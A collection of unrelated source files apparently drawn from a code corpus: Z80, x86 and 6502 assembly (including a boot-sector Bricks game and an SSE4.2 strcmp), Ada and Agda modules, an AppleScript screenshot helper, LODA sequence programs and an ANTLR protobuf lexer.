pop iy ; Offset 4: IY
exx ; Use alternate BC/DE/HL
ld hl, #-2 ; Offset of SP to account for ret addr on stack
pop de ; Offset 5: HL' = Stack pointer after return
add hl, de ; HL = Stack pointer value before return
exx ; Restore original BC/DE/HL
pop hl ; Offset 6: HL
pop af ; Offset 7: AF
; Restore the stack pointer
exx ; Use alternate BC/DE/HL
ld sp, hl ; Set SP = saved stack pointer value before return
exx ; Restore original BC/DE/HL
; Restore interrupt state
ex af, af' ; Recover interrupt state
jp po, nointenable ; Odd parity, IFF2=0, means disabled
ex af, af' ; Restore AF (before enabling interrupts)
ei ; yes
reti
nointenable::
ex af, af' ; Restore AF
reti
;**************************************************************************
; Ordering of segments for the linker (SDCC only)
;**************************************************************************
.area _HOME
.area _CODE
.area _INITIALIZER
.area _GSINIT
.area _GSFINAL
.area _DATA
.area _INITIALIZED
.area _BSEG
.area _BSS
.area _HEAP
;**************************************************************************
; Global data initialization logic (SDCC only)
;**************************************************************************
.area _GSINIT
gsinit::
ld bc, #l__INITIALIZER
ld a, b
or a, c
jr Z, gsinit_next
ld de, #s__INITIALIZED
ld hl, #s__INITIALIZER
ldir
gsinit_next:
.area _GSFINAL
ret
;**************************************************************************
; The start of the heap (SDCC only). Note that is actually resides in
; the _CODE area (which may be FLASH or ROM)
;**************************************************************************
.area _CODE
_g_heapbase::
.dw #s__HEAP
|
lib/space_image_format.adb | jweese/Ada_Vent_19 | 1 | 29935 | <reponame>jweese/Ada_Vent_19
with Ada.Text_IO;
package body Space_Image_Format is
procedure Get_Pixel(P: out Pixel) is
C: Character;
begin
Ada.Text_IO.Get(C);
P := Pixel(C);
end Get_Pixel;
procedure Get_Layer(L: out Layer) is
begin
for Row in Height_Range loop
for Col in Width_Range loop
Get_Pixel(L(Col, Row));
end loop;
end loop;
end Get_Layer;
type Color_Stack is array (Positive range <>) of Color;
function To_Color(P: Pixel) return Color is
(case P is
when '0' => Black,
when '1' => White,
when '2' => Transparent,
when others => raise Constraint_Error);
function Get_Stack(
LS: Layer_Stack; W: Width_Range; H: Height_Range) return Color_Stack is
Result: Color_Stack(LS'Range);
begin
for I in LS'Range loop
Result(I) := To_Color(LS(I)(W, H));
end loop;
return Result;
end Get_Stack;
function Visible(CS: Color_Stack) return Visible_Color is
begin
for C of CS loop
if C in Visible_Color'Range then return C; end if;
end loop;
raise Constraint_Error;
end Visible;
function To_Image(S: Layer_Stack) return Image is
Result: Image;
begin
for Row in Height_Range loop
for Col in Width_Range loop
Result(Col, Row) := Visible(Get_Stack(S, Col, Row));
end loop;
end loop;
return Result;
end To_Image;
procedure Put_Image(I: in Image) is
function Render(VC: Visible_Color) return Character is
(case VC is
when Black => ' ',
when White => 'X');
Line: String(1 .. Width);
begin
for Row in Height_Range loop
for Col in Width_Range loop
Line(Width_Range'Pos(Col)) := Render(I(Col, Row));
end loop;
Ada.Text_IO.Put_Line(Line);
end loop;
end Put_Image;
end Space_Image_Format;
|
src/fot/FOTC/Data/Nat/List/PropertiesI.agda | asr/fotc | 11 | 8616 | <reponame>asr/fotc<gh_stars>10-100
------------------------------------------------------------------------------
-- Properties related with lists of natural numbers
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module FOTC.Data.Nat.List.PropertiesI where
open import FOTC.Base
open import FOTC.Data.Nat
open import FOTC.Data.Nat.List
open import FOTC.Data.List
------------------------------------------------------------------------------
-- See the ATP version.
postulate ++-ListN : ∀ {ms ns} → ListN ms → ListN ns → ListN (ms ++ ns)
map-ListN : ∀ f {ns} → (∀ {n} → N n → N (f · n)) → ListN ns → ListN (map f ns)
map-ListN f h lnnil = subst ListN (sym (map-[] f)) lnnil
map-ListN f h (lncons {n} {ns} Nn Lns) =
subst ListN (sym (map-∷ f n ns)) (lncons (h Nn) (map-ListN f h Lns))
|
Examples/example3.asm | vbguyny/Developing-for-the-Commodore-64 | 0 | 176430 | <reponame>vbguyny/Developing-for-the-Commodore-64<filename>Examples/example3.asm
; 10 SYS (2064)
*=$0810
chout = $ffd2 ; Kernal character output sub
main
ldx #<string ; String address least significant byte (LSB)
stx @loop+1 ; Save string pointer LSB
ldx #>string ; String address most significant byte (MSB)
stx @loop+2 ; Save string pointer MSB
ldy #0 ; Starting string index
@loop
lda $1000,y ; Get a character
beq @done ; End of string
jsr chout ; Print character
iny ; Next
bne @loop
@done
rts ; Exit
string byte "hello world!", $00
|
Cubical/Algebra/AbGroup/Instances/DirectSumFun.agda | thomas-lamiaux/cubical | 0 | 15012 | <gh_stars>0
{-# OPTIONS --safe #-}
module Cubical.Algebra.AbGroup.Instances.DirectSumFun where
open import Cubical.Foundations.Prelude
open import Cubical.Data.Nat
open import Cubical.Algebra.AbGroup
open import Cubical.Algebra.DirectSum.DirectSumFun.Base
open import Cubical.Algebra.DirectSum.DirectSumFun.Properties
private variable
ℓ : Level
module _ (G : (n : ℕ) → Type ℓ) (Gstr : (n : ℕ) → AbGroupStr (G n)) where
open AbGroupStr
open DSF-properties G Gstr
⊕Fun-AbGr : AbGroup ℓ
fst ⊕Fun-AbGr = ⊕Fun G Gstr
0g (snd ⊕Fun-AbGr) = 0⊕Fun
AbGroupStr._+_ (snd ⊕Fun-AbGr) = _+⊕Fun_
- snd ⊕Fun-AbGr = Inv⊕Fun
isAbGroup (snd ⊕Fun-AbGr) = makeIsAbGroup isSet⊕Fun +⊕FunAssoc +⊕FunRid +⊕FunInvR +⊕FunComm
|
test/bricks.asm | humbertocsjr/tinyasm | 176 | 88710 | ;
; Bricks game in one boot sector
;
; by <NAME>.
;
; Creation date: Nov/02/2019.
;
cpu 8086
;
; Press Left Shift to start the game
; Press Left Ctrl to move the paddle to left
; Press Left Alt to move the paddle to right
;
%ifdef com_file
org 0x0100
%else
org 0x7c00
%endif
old_time: equ 16 ; Old time
ball_x: equ 14 ; X-coordinate of ball (8.8 fraction)
ball_y: equ 12 ; Y-coordinate of ball (8.8 fraction)
ball_xs: equ 10 ; X-speed of ball (8.8 fraction)
ball_ys: equ 8 ; Y-speed of ball (8.8 fraction)
beep: equ 6 ; Frame count to turn off sound
bricks: equ 4 ; Remaining bricks
balls: equ 2 ; Remaining balls
score: equ 0 ; Current score
;
; Start of the game
;
start:
mov ax,0x0002 ; Text mode 80x25x16 colors
int 0x10 ; Setup
mov ax,0xb800 ; Address of video screen
mov ds,ax ; Setup DS
mov es,ax ; Setup ES
sub sp,32
xor ax,ax
push ax ; Reset score
mov al,4
push ax ; Balls remaining
mov bp,sp ; Setup stack frame for globals
;
; Start another level
;
another_level:
mov word [bp+bricks],273 ; 273 bricks on screen
xor di,di
mov ax,0x01b1 ; Draw top border
mov cx,80
cld
rep stosw
mov cl,24 ; 24 rows
.1:
stosw ; Draw left border
mov ax,0x20 ; No bricks on this row
push cx
cmp cl,23
jnb .2
sub cl,15
jbe .2
mov al,0xdb ; Bricks on this row
mov ah,cl
.2:
mov cl,39 ; 39 bricks per row
.3:
stosw
stosw
inc ah ; Increase attribute color
cmp ah,0x08
jne .4
mov ah,0x01
.4:
loop .3
pop cx
mov ax,0x01b1 ; Draw right border
stosw
loop .1
;
; Start another ball
;
mov di,0x0f4a ; Position of paddle
another_ball:
mov byte [bp+ball_x+1],0x28 ; Center X
mov byte [bp+ball_y+1],0x14 ; Center Y
xor ax,ax
mov [bp+ball_xs],ax ; Static on screen
mov [bp+ball_ys],ax
mov byte [bp+beep],0x01
mov si,0x0ffe ; Don't erase ball yet
game_loop:
call wait_frame ; Wait 1/18.2 secs.
mov word [si],0x0000 ; Erase ball
call update_score ; Update score
mov ah,0x02 ; Read modifier keys
int 0x16
test al,0x04 ; Left ctrl
je .1
mov byte [di+6],0 ; Erase right side of paddle
mov byte [di+8],0
sub di,byte 4 ; Move paddle to left
cmp di,0x0f02 ; Limit
ja .1
mov di,0x0f02
.1:
test al,0x08 ; Left alt
je .2
xor ax,ax ; Erase left side of paddle
stosw
stosw ; DI increased automatically
cmp di,0x0f94 ; Limit
jb .2
mov di,0x0f94
.2:
test al,0x02 ; Left shift
je .15
mov ax,[bp+ball_xs] ; Ball moving?
add ax,[bp+ball_ys]
jne .15 ; Yes, jump
; Setup movement of ball
mov word [bp+ball_xs],0xff40
mov word [bp+ball_ys],0xff80
.15:
mov ax,0x0adf ; Paddle graphic and color
push di
stosw ; Draw paddle
stosw
stosw
stosw
stosw
pop di
mov bx,[bp+ball_x] ; Draw ball
mov ax,[bp+ball_y]
call locate_ball ; Locate on screen
test byte [bp+ball_y],0x80 ; Y-coordinate half fraction?
mov ah,0x60 ; Interchange colors for smooth mov.
je .12
mov ah,0x06
.12: mov al,0xdc ; Graphic
mov [bx],ax ; Draw
push bx
pop si
.14:
mov bx,[bp+ball_x] ; Ball position
mov ax,[bp+ball_y]
add bx,[bp+ball_xs] ; Add movement speed
add ax,[bp+ball_ys]
push ax
push bx
call locate_ball ; Locate on screen
mov al,[bx]
cmp al,0xb1 ; Touching borders
jne .3
mov cx,5423 ; 1193180 / 220
call speaker ; Generate sound
pop bx
pop ax
cmp bh,0x4f
je .8
test bh,bh
jne .7
.8:
neg word [bp+ball_xs] ; Negate X-speed if touches sides
.7:
test ah,ah
jnz .9
neg word [bp+ball_ys] ; Negate Y-speed if touches sides
.9: jmp .14
.3:
cmp al,0xdf ; Touching paddle
jne .4
sub bx,di ; Subtract paddle position
sub bx,byte 4
mov cl,6 ; Multiply by 64
shl bx,cl
mov [bp+ball_xs],bx ; New X speed for ball
mov word [bp+ball_ys],0xff80 ; Update Y speed for ball
mov cx,2711 ; 1193180 / 440
call speaker ; Generate sound
pop bx
pop ax
jmp .14
.4:
cmp al,0xdb ; Touching brick
jne .5
mov cx,1355 ; 1193180 / 880
call speaker ; Generate sound
test bl,2 ; Aligned with brick?
jne .10 ; Yes, jump
dec bx ; Align
dec bx
.10: xor ax,ax ; Erase brick
mov [bx],ax
mov [bx+2],ax
inc word [bp+score] ; Increase score
neg word [bp+ball_ys] ; Negate Y speed (rebound)
pop bx
pop ax
dec word [bp+bricks] ; One brick less on screen
jne .14 ; Fully completed? No, jump.
jmp another_level ; Start another level
.5:
pop bx
pop ax
.6:
mov [bp+ball_x],bx ; Update ball position
mov [bp+ball_y],ax
cmp ah,0x19 ; Ball exited through bottom?
je ball_lost ; Yes, jump
jmp game_loop ; No, repeat game loop
;
; Ball lost
;
ball_lost:
mov cx,10846 ; 1193180 / 110
call speaker ; Generate sound
mov word [si],0 ; Erase ball
dec byte [bp+balls] ; One ball less
js .1 ; All finished? Yes, jump
jmp another_ball ; Start another ball
.1: call wait_frame.2 ; Turn off sound
int 0x20 ; Exit to DOS / bootOS
wait_frame:
.0:
mov ah,0x00 ; Read ticks
int 0x1a ; Call BIOS
cmp dx,[bp+old_time] ; Wait for change
je .0
mov [bp+old_time],dx
dec byte [bp+beep] ; Decrease time to turn off beep
jne .1
.2:
in al,0x61
and al,0xfc ; Turn off
out 0x61,al
.1:
ret
;
; Generate sound on PC speaker
;
speaker:
mov al,0xb6 ; Setup timer 2
out 0x43,al
mov al,cl ; Low byte of timer count
out 0x42,al
mov al,ch ; High byte of timer count
out 0x42,al
in al,0x61
or al,0x03 ; Connect PC speaker to timer 2
out 0x61,al
mov byte [bp+beep],3 ; Duration
ret
;
; Locate ball on screen
;
locate_ball:
mov al,0xa0
mul ah ; AH = Y coordinate (row)
mov bl,bh ; BH = X coordinate (column)
mov bh,0
shl bx,1
add bx,ax
ret
;
; Update score indicator (from bootRogue)
;
update_score:
mov bx,0x0f98 ; Point to bottom right corner
mov ax,[bp+score]
call .1
mov al,[bp+balls]
.1:
xor cx,cx ; CX = Quotient
.2: inc cx
sub ax,10 ; Division by subtraction
jnc .2
add ax,0x0a3a ; Convert remainder to ASCII digit + color
call .3 ; Put on screen
xchg ax,cx
dec ax ; Quotient is zero?
jnz .1 ; No, jump to show more digits.
.3: mov [bx],ax
dec bx
dec bx
ret
%ifdef com_file
%else
times 510-($-$$) db 0x4f
db 0x55,0xaa ; Make it a bootable sector
%endif
|
tp/libs/asmlib/strcmp64.asm | pg83/zm | 0 | 29887 | <reponame>pg83/zm
%include "defs.asm"
;************************* strcmp64.asm ************************************
; Author: <NAME>
; Date created: 2011-07-14
; Last modified: 2012-07-07
; Description:
; Faster version of the standard strcmp function:
; int A_strcmp(const char * s1, const char * s2);
; Tests if two strings are equal. The strings must be zero-terminated.
;
; Note that this function may read up to 15 bytes beyond the end of the strings.
; This is rarely a problem but it can in principle generate a protection violation
; if a string is placed at the end of the data segment.
;
; Overriding standard function strcmp:
; The alias ?OVR_strcmp is changed to _strcmp in the object file if
; it is desired to override the standard library function strcmp.
; Overriding is disabled because the function may read beyond the end of a
; string, while the standard strcmp function is guaranteed to work in all cases.
;
; Position-independent code is generated if POSITIONINDEPENDENT is defined.
;
; CPU dispatching included for 386, and SSE4.2 instruction sets.
;
; Copyright (c) 2011 - 2012 GNU General Public License www.gnu.org/licenses
;******************************************************************************
default rel
global A_strcmp: function ; Function A_strcmp
; Direct entries to CPU-specific versions
global strcmpGeneric: function ; Generic version for processors without SSE4.2
global strcmpSSE42: function ; Version for processors with SSE4.2
; Imported from instrset32.asm:
extern InstructionSet ; Instruction set for CPU dispatcher
section .text
; strcmp function
%if ALLOW_OVERRIDE
global EXP(strcmp): function
EXP(strcmp):
%endif
A_strcmp: ; function dispatching
jmp near [strcmpDispatch] ; Go to appropriate version, depending on instruction set
align 16
strcmpSSE42:
%ifdef WINDOWS
push rdi
mov rdi, rcx
%define rs1 rdi ; pointer to string 1
%define rs2 rdx ; pointer to string 2
%define par1 rcx
%define par2 rdx
%else ; UNIX
%define rs1 rdi
%define rs2 rsi
%define par1 rdi
%define par2 rsi
%endif
mov rax, -16 ; offset counter
compareloop:
add rax, 16 ; increment offset
movdqu xmm1, [rs1+rax] ; read 16 bytes of string 1
pcmpistri xmm1, [rs2+rax], 00011000B ; unsigned bytes, equal each, invert. returns index in ecx
jnbe compareloop ; jump if not carry flag and not zero flag
jnc equal
notequal:
; strings are not equal
add rcx, rax ; offset to first differing byte
movzx eax, byte [rs1+rcx] ; compare first differing byte
movzx edx, byte [rs2+rcx]
sub rax, rdx
%ifdef WINDOWS
pop rdi
%endif
ret
equal:
xor eax, eax ; strings are equal
%ifdef WINDOWS
pop rdi
%endif
ret
;strcmpSSE42: endp
align 16
strcmpGeneric: ; generic version
; This is a very simple solution. There is not much gained by using SSE2 or anything complicated
%ifdef WINDOWS
%define ss1 rcx ; pointer to string 1
%define ss2 rdx ; pointer to string 2
%else ; UNIX
%define ss1 rdi
%define ss2 rsi
%endif
_compareloop:
mov al, [ss1]
cmp al, [ss2]
jne _notequal
test al, al
jz _equal
inc ss1
inc ss2
jmp _compareloop
_equal: xor eax, eax ; strings are equal
ret
_notequal: ; strings are not equal
movzx eax, byte [ss1] ; compare first differing byte
movzx edx, byte [ss2]
sub eax, edx
ret
;strcmpGeneric end
; CPU dispatching for strcmp. This is executed only once
strcmpCPUDispatch:
; get supported instruction set
push par1
push par2
call InstructionSet
pop par2
pop par1
; Point to generic version of strcmp
lea r9, [strcmpGeneric]
cmp eax, 10 ; check SSE4.2
jb Q100
; SSE4.2 supported
; Point to SSE4.2 version of strcmp
lea r9, [strcmpSSE42]
Q100: mov [strcmpDispatch], r9
; Continue in appropriate version of strcmp
jmp r9
SECTION .data
; Pointer to appropriate version. Initially points to dispatcher
strcmpDispatch DQ strcmpCPUDispatch
; Append 16 bytes to end of last data section to allow reading past end of strings:
; (We might use names .bss$zzz etc. under Windows to make it is placed
; last, but the assembler gives sections with unknown names wrong attributes.
; Here, we are just relying on library data being placed after main data.
; This can be verified by making a link map file)
SECTION .bss
dq 0, 0
|
ada-synchronous_barriers.ads | mgrojo/adalib | 15 | 18608 | -- Standard Ada library specification
-- Copyright (c) 2004-2016 AXE Consultants
-- Copyright (c) 2004, 2005, 2006 Ada-Europe
-- Copyright (c) 2000 The MITRE Corporation, Inc.
-- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc.
-- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual
---------------------------------------------------------------------------
package Ada.Synchronous_Barriers is
pragma Preelaborate(Synchronous_Barriers);
subtype Barrier_Limit is Positive range 1 .. implementation_defined;
type Synchronous_Barrier (Release_Threshold : Barrier_Limit) is limited private;
procedure Wait_For_Release (The_Barrier : in out Synchronous_Barrier;
Notified : out Boolean);
private
-- not specified by the language
end Ada.Synchronous_Barriers;
|
ada/gui/demo/customwidget.ads | auzkok/libagar | 286 | 11364 | <reponame>auzkok/libagar
--------------------------------------------------
-- Example of a custom Agar widget class: --
-- --
-- AG_Object(3) -> AG_Widget(3) -> CustomWidget --
--------------------------------------------------
with Agar.Object;
with Agar.Widget; use Agar.Widget;
with Agar.Data_Source;
with Agar.Variable;
with Interfaces.C;
package CustomWidget is
package OBJ renames Agar.Object;
package AV renames Agar.Variable;
package C renames Interfaces.C;
type CustomWidget_t is limited record
widget : Widget_t; -- AG_Object -> AG_Widget -> CustomWidget
Color : Interfaces.Unsigned_32;
State_X : Interfaces.Unsigned_8;
State_Y : Interfaces.Unsigned_8;
Label_Surf : C.int;
end record
with Convention => C;
type CustomWidget_Access_t is access all CustomWidget_t
with Convention => C;
Widget_Class : Widget_Class_Access_t := null;
function Create_Class return OBJ.Class_Not_Null_Access_t;
procedure Destroy_Class;
procedure Init (Object : OBJ.Object_Access_t) with Convention => C;
procedure Draw (Widget : Widget_Access_t) with Convention => C;
procedure Size_Request
(Widget : in Widget_Access_t;
Size : in SizeReq_not_null_Access_t) with Convention => C;
function Size_Allocate
(Widget : in Widget_Access_t;
Size : in SizeAlloc_not_null_Access_t) return C.int with Convention => C;
end CustomWidget;
|
programs/oeis/163/A163590.asm | neoneye/loda | 22 | 102409 | <reponame>neoneye/loda
; A163590: Odd part of the swinging factorial A056040.
; 1,1,1,3,3,15,5,35,35,315,63,693,231,3003,429,6435,6435,109395,12155,230945,46189,969969,88179,2028117,676039,16900975,1300075,35102025,5014575,145422675,9694845,300540195,300540195,9917826435,583401555,20419054425,2268783825,83945001525,4418157975,172308161025,34461632205,1412926920405,67282234305,2893136075115,263012370465,11835556670925,514589420475,24185702762325,8061900920775,395033145117975,15801325804719,805867616040669,61989816618513,3285460280781189,121683714103007,6692604275665385,956086325095055,54496920530418135,1879204156221315,110873045217057585,7391536347803839,450883717216034179,14544636039226909,916312070471295267,916312070471295267,59560284580634192355,1804857108504066435,120925426269772451145,7113260368810144185,490814965447899948765,14023284727082855679,995653215622882753209,110628135069209194801,8075853860052271220473,218266320541953276229,16369974040646495717175,861577581086657669325,66341473743672640538025,1701063429324939500975,134384010916670220577025,26876802183334044115405,2177020976850057573347805,53098072606098965203605,4407140026306214111899215,209863810776486386280915,17838423916001342833877775,414847067813984717066925,36091694899816670384822475,3281063172710606398620225,292014622371243969477200025,6489213830472088210604445,590518458572960027165004495,25674715590128696833261065,2387748549881968805493279045,50803160635786570329644235,4826300260399724181316202325,1608766753466574727105400775,156050375086257748529223875175,3184701532372607112841303575,315285451704888104171289053925
seq $0,56040 ; Swinging factorial, a(n) = 2^(n-(n mod 2))*Product_{k=1..n} k^((-1)^(k+1)).
mov $2,$0
gcd $2,32
div $0,$2
|
Terminal/ScreeshotGUI.applescript | rogues-gallery/applescript | 360 | 947 | <reponame>rogues-gallery/applescript
--- if, for some reason, you wanted to wanted to have a simple GUI for the built in screen capture tool
--- helpful for old people, children, or the chronically lazy
display dialog "This script uses your computers built-in screencapture tool. This script saves the file to your desktop by default."
set theButton to display dialog "Would you like to have an image of your entire screen, a specific window, or an area that you define?" buttons {"Entire Screen", "Specific Window", "Defined Area"}
set theChoice to get button returned of theButton
if theChoice contains "Entire Screen" then
set yesname to (display dialog "Choose the name for your file (with no spaces)" default answer "")
set newIMGname to get text returned of yesname
do shell script "screencapture ~/Desktop/" & newIMGname & ".png"
end if
if theChoice contains "Specific Window" then
set yesname to (display dialog "Choose the name for your file (with no spaces)" default answer "")
set newIMGname to get text returned of yesname
display alert "Use the mouse to move the camera icon to the window you would like to capture, and click to create the screenshot"
do shell script "screencapture -iW ~/Desktop/" & newIMGname & ".png"
end if
if theChoice contains "Defined Area" then
set yesname to (display dialog "Choose the name for your file (with no spaces)" default answer "")
set newIMGname to get text returned of yesname
display alert "Use your mouse to move the crosshairs, and click to highlight the area of the sreen you would like to capture"
do shell script "screencapture -s ~/Desktop/" & newIMGname & ".png"
end if
--- http://www.github.com/unforswearing
|
programs/oeis/066/A066601.asm | neoneye/loda | 22 | 943 | ; A066601: a(n) = 3^n mod n.
; 0,1,0,1,3,3,3,1,0,9,3,9,3,9,12,1,3,9,3,1,6,9,3,9,18,9,0,25,3,9,3,1,27,9,12,9,3,9,27,1,3,15,3,37,18,9,3,33,31,49,27,29,3,27,12,9,27,9,3,21,3,9,27,1,48,3,3,13,27,39,3,9,3,9,57,5,75,27,3,1,0,9,3,57,73,9,27,49,3,9,3,81,27,9,72,33,3,79,81,1
add $0,1
mov $1,1
mov $2,$0
lpb $0
sub $0,1
mul $1,3
mod $1,$2
lpe
mov $0,$1
|
libsrc/_DEVELOPMENT/arch/zx/tape/c/sccz80/zx_tape_save_block_callee.asm | jpoikela/z88dk | 640 | 94267 | <reponame>jpoikela/z88dk
; unsigned char zx_tape_save_block(void *src, unsigned int len, unsigned char type)
SECTION code_clib
SECTION code_arch
PUBLIC zx_tape_save_block_callee
EXTERN asm_zx_tape_save_block
zx_tape_save_block_callee:
pop af
pop bc
pop de
pop ix
push af
ld a,c
jp asm_zx_tape_save_block
|
protobuf/ProtoLexer.g4 | vak/protobuf2uml | 28 | 3895 | <reponame>vak/protobuf2uml<gh_stars>10-100
// Compatibility with Protocol Buffer defines
// https://developers.google.com/protocol-buffers/docs/proto
// This file was taken from https://github.com/yesme/protobuf-parser/ and a bit adjusted
lexer grammar ProtoLexer;
/*
@header {
package dsl;
import com.google.common.collect.*;
import java.util.Map;
}
@members {
private static Map<String, String> literals = HashBiMap.create();
static {
literals.put("PACKAGE_LITERAL", "package");
literals.put("IMPORT_LITERAL", "import");
literals.put("OPTION_LITERAL", "option");
literals.put("ENUM_LITERAL", "enum");
literals.put("MESSAGE_LITERAL", "message");
literals.put("EXTEND_LITERAL", "extend");
literals.put("EXTENSIONS_DEF_LITERAL", "extensions");
literals.put("EXTENSIONS_TO_LITERAL", "to");
literals.put("EXTENSIONS_MAX_LITERAL", "max");
literals.put("SERVICE_LITERAL", "service");
literals.put("RETURNS_LITERAL", "returns");
literals.put("RPC_LITERAL", "rpc");
literals.put("BLOCK_OPEN", "{");
literals.put("BLOCK_CLOSE", "}");
literals.put("PAREN_OPEN", "(");
literals.put("PAREN_CLOSE", ")");
literals.put("BRACKET_OPEN", "[");
literals.put("BRACKET_CLOSE", "]");
literals.put("EQUALS", "=");
literals.put("COLON", ":");
literals.put("COMMA", ",");
literals.put("ITEM_TERMINATOR", ";");
}
public static Map getLiterals() {
return literals;
}
}
*/
LINE_COMMENT : '//' ~('\n' | '\r')* -> skip;
//MULTILINE_COMMENT : '/*' (options {greedy=false;} : .)* '*/' -> skip;
MULTILINE_COMMENT : '/*' (.)*? '*/' -> skip;
fragment END_OF_LINE: ('\r\n' | '\n' | '\r') -> skip;
WHITESPACE : ('\t' | ' ' | '\r' | '\n' | '\u000C')+ -> skip;
IMPORT_PUBLIC : 'public';
PACKAGE_LITERAL : 'package' ;
IMPORT_LITERAL : 'import' ;
OPTION_LITERAL : 'option' ;
ENUM_LITERAL : 'enum' ;
MESSAGE_LITERAL : 'message' ;
EXTEND_LITERAL : 'extend' ;
EXTENSIONS_DEF_LITERAL : 'extensions' ;
EXTENSIONS_TO_LITERAL : 'to' ;
EXTENSIONS_MAX_LITERAL : 'max' ;
//GROUP_LITERAL : 'group' ; // deprecated
//OPTIONAL_DEFAULT_LITERAL : 'default' ;
//OPTIONAL_DEPRECATED_LITERAL : 'deprecated' ;
//REPEATED_PACKED_LITERAL : 'packed' ;
SERVICE_LITERAL : 'service' ;
RETURNS_LITERAL : 'returns' ;
RPC_LITERAL : 'rpc' ;
BLOCK_OPEN : '{' ;
BLOCK_CLOSE : '}' ;
PAREN_OPEN : '(' ;
PAREN_CLOSE : ')' ;
BRACKET_OPEN : '[' ;
BRACKET_CLOSE : ']' ;
EQUALS : '=' ;
COLON : ':' ;
COMMA : ',' ;
ITEM_TERMINATOR : ';' ;
// Protobuf Scope ---------------------
PROTOBUF_SCOPE_LITERAL
: REQUIRED_PROTOBUF_SCOPE_LITERAL
| OPTIONAL_PROTOBUF_SCOPE_LITERAL
| REPEATED_PROTOBUF_SCOPE_LITERAL
;
fragment REQUIRED_PROTOBUF_SCOPE_LITERAL : 'required' ;
fragment OPTIONAL_PROTOBUF_SCOPE_LITERAL : 'optional' ;
fragment REPEATED_PROTOBUF_SCOPE_LITERAL : 'repeated' ;
// Protobuf Scope ---------------------
// Protobuf Type ----------------------
PROTOBUF_TYPE_LITERAL
: DOUBLE_PROTOBUF_TYPE_LITERAL
| FLOAT_PROTOBUF_TYPE_LITERAL
| INT32_PROTOBUF_TYPE_LITERAL
| INT64_PROTOBUF_TYPE_LITERAL
| UINT32_PROTOBUF_TYPE_LITERAL
| UINT64_PROTOBUF_TYPE_LITERAL
| SINT32_PROTOBUF_TYPE_LITERAL
| SINT64_PROTOBUF_TYPE_LITERAL
| FIXED32_PROTOBUF_TYPE_LITERAL
| FIXED64_PROTOBUF_TYPE_LITERAL
| SFIXED32_PROTOBUF_TYPE_LITERAL
| SFIXED64_PROTOBUF_TYPE_LITERAL
| BOOL_PROTOBUF_TYPE_LITERAL
| STRING_PROTOBUF_TYPE_LITERAL
| BYTES_PROTOBUF_TYPE_LITERAL
;
fragment DOUBLE_PROTOBUF_TYPE_LITERAL : 'double' ;
fragment FLOAT_PROTOBUF_TYPE_LITERAL : 'float' ;
fragment INT32_PROTOBUF_TYPE_LITERAL : 'int32' ;
fragment INT64_PROTOBUF_TYPE_LITERAL : 'int64' ;
fragment UINT32_PROTOBUF_TYPE_LITERAL : 'uint32' ;
fragment UINT64_PROTOBUF_TYPE_LITERAL : 'uint64' ;
fragment SINT32_PROTOBUF_TYPE_LITERAL : 'sint32' ;
fragment SINT64_PROTOBUF_TYPE_LITERAL : 'sint64' ;
fragment FIXED32_PROTOBUF_TYPE_LITERAL : 'fixed32' ;
fragment FIXED64_PROTOBUF_TYPE_LITERAL : 'fixed64' ;
fragment SFIXED32_PROTOBUF_TYPE_LITERAL : 'sfixed32' ;
fragment SFIXED64_PROTOBUF_TYPE_LITERAL : 'sfixed64' ;
fragment BOOL_PROTOBUF_TYPE_LITERAL : 'bool' ;
fragment STRING_PROTOBUF_TYPE_LITERAL : 'string' ;
fragment BYTES_PROTOBUF_TYPE_LITERAL : 'bytes' ;
// Protobuf Type ----------------------
// Integer ----------------------------
INTEGER_LITERAL
: HEX_LITERAL
| OCTAL_LITERAL
| DECIMAL_LITERAL
;
fragment HEX_DIGIT : ('0'..'9'|'a'..'f'|'A'..'F') ;
fragment HEX_LITERAL : '-'? '0' ('x'|'X') HEX_DIGIT+ ;
fragment OCTAL_LITERAL : '-'? '0' ('0'..'7')+ ;
fragment DECIMAL_LITERAL : ('0' | '-'? '1'..'9' '0'..'9'*) ;
// Integer ----------------------------
// String -----------------------------
STRING_LITERAL
: '"' STRING_GUTS '"'
;
fragment STRING_GUTS : ( ESCAPE_SEQUENCE | ~('\\'|'"'|'\n'|'\r') )* ;
fragment ESCAPE_SEQUENCE
: '\\' ('b'|'t'|'n'|'f'|'r'|'\"'|'\''|'\\')
| OCTAL_ESCAPE
| UNICODE_ESCAPE
;
fragment OCTAL_ESCAPE
: '\\' ('0'..'3') ('0'..'7') ('0'..'7')
| '\\' ('0'..'7') ('0'..'7')
| '\\' ('0'..'7')
;
fragment UNICODE_ESCAPE
: '\\' 'u' HEX_DIGIT HEX_DIGIT HEX_DIGIT HEX_DIGIT
;
// String -----------------------------
// Bool -------------------------------
BOOL_LITERAL : 'true' | 'false';
// Bool -------------------------------
// Float-------------------------------
FLOAT_LITERAL
: '-'? ('0'..'9')+ '.' ('0'..'9')* EXPONENT?
| '-'? '.' ('0'..'9')+ EXPONENT?
| '-'? ('0'..'9')+ EXPONENT
;
fragment EXPONENT : ('e'|'E') ('+'|'-')? ('0'..'9')+ ;
// Float-------------------------------
IDENTIFIER : '_'* ('a'..'z' | 'A'..'Z' ) ('a'..'z' | 'A'..'Z' | '_' | '0'..'9')* ;
QUALIFIED_IDENTIFIER : IDENTIFIER ('.' IDENTIFIER)+ ;
FIELD_IDENTIFIER : '.' IDENTIFIER ;
|
programs/oeis/267/A267142.asm | karttu/loda | 1 | 177713 | <reponame>karttu/loda
; A267142: The characteristic function of the multiples of 9.
